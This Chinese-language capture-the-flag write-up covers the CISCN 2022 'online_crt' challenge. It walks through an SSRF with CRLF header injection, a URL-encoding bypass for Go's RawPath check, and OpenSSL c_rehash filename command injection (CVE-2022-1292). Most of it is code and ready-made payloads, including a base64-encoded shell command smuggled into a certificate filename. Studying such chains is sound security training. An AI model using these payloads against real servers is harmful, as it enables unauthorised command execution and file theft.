CISCN 2022 online_crt题解


又是go和python的结合啊((

今年的CISCN好像也有一道go+python的(go_session)

NSS上提供了附件,先看看附件怎么写的吧:

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

flask里有如下几个路由:

/:主页

/getcrt:调用get_crt函数获取crt(证书)

/createlink:使用c_rehash方式使得openssl在证书目录中能够找到证书

这里通过搜索c_rehash能够得知有OpenSSL 命令注入漏洞(CVE-2022-1292)

这个漏洞的利用方式是如果证书的名字有反引号的话可以执行命令:

1
2
3
4
例如:
`echo%20Y2F0IC8qIA==|base64%20-d|sh > flag.txt`.crt

//cat /f* > flag.txt

/proxy如同他的名字,通过uri传入表单访问内网8887端口的服务

8887端口是什么服务呢?

main.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")//get传参oldname
newname := c.DefaultQuery("newname", "")//get传参newname
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")//为空或者包含..返回error
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)//访问的host为admin并且rawpath不为空才能够进行Rename操作
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)//可以通过访问/admin/rename进行rename操作

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

go服务开在8887端口,也就是说我们可以通过/proxy来访问8887

8887是rename操作,也就是说我们可以通过重命名crt的方式来将crt命名成带反引号能够命令执行的方式,再通过/createlinkc_rehash执行命令,获取flag

思路如下:

1
/getcrt -> /proxy admin/rename -> /createlink ->命令执行

一些问题及解决

Host

这里的访问host为admin并且rawpath不为空才能够进行Rename操作

但是我们可以从app.py的/proxy路由得到

1
2
3
4
5
6
7
8
9
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())

这里的User-Agent设置为了Guest

但是我们可以控制uri的输入,这里可以通过自行构造Host: admin来使得host为admin

RawPath

认识GO语言url.URL结构体 - 谈一些有趣的编程 (ipeapea.cn)

可以看到两个例子

这里的url.Parse类似于php的parse_url()

第一个例子输出的时候RawPath为空

第二个例子把home后面的斜杠变为%2f后,RawPath便不为空了

这就是说,如果有%2f的话,RawPath就不会为空

即,在url任意一个/进行url编码即可绕过

get表单

由于app.py获取的是form,也就是表单的形式(Burp抓包)

所以我们需要加入:Content-Type: application/x-www-form-urlencoded

我们需要访问rename,所以构造的表单的总体形式是这样的:

1
2
3
4
5
/admin%2frename?oldname=oldcrtname&newname=`echo%20Y2F0IC8qIA==|base64%20-d|sh%20>%20flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 130
Connection: close

换成get传参就是:

1
/admin%252frename%3Foldname%3Df6ed3627-d764-4015-aea8-9086db8ed8d0.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520-d%7Csh%2520%3E%2520flag.txt%60.crt%20HTTP%2F1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20130%0D%0AConnection%3A%20close%0D%0A%0D%0A

解题

先直接GET访问/getcrt获取一张证书

然后访问proxy,传入

1
uri=/admin%252frename%3Foldname%3Df6ed3627-d764-4015-aea8-9086db8ed8d0.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520-d%7Csh%2520%3E%2520flag.txt%60.crt%20HTTP%2F1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20130%0D%0AConnection%3A%20close%0D%0A%0D%0A

再访问/createlink

这样执行c_rehash static/crt/ && ls static/crt/

所以这里读取的就是static/crt内的目录

说明flag.txt存在了static/crt

接下来访问static/crt/flag.txt即可获取flag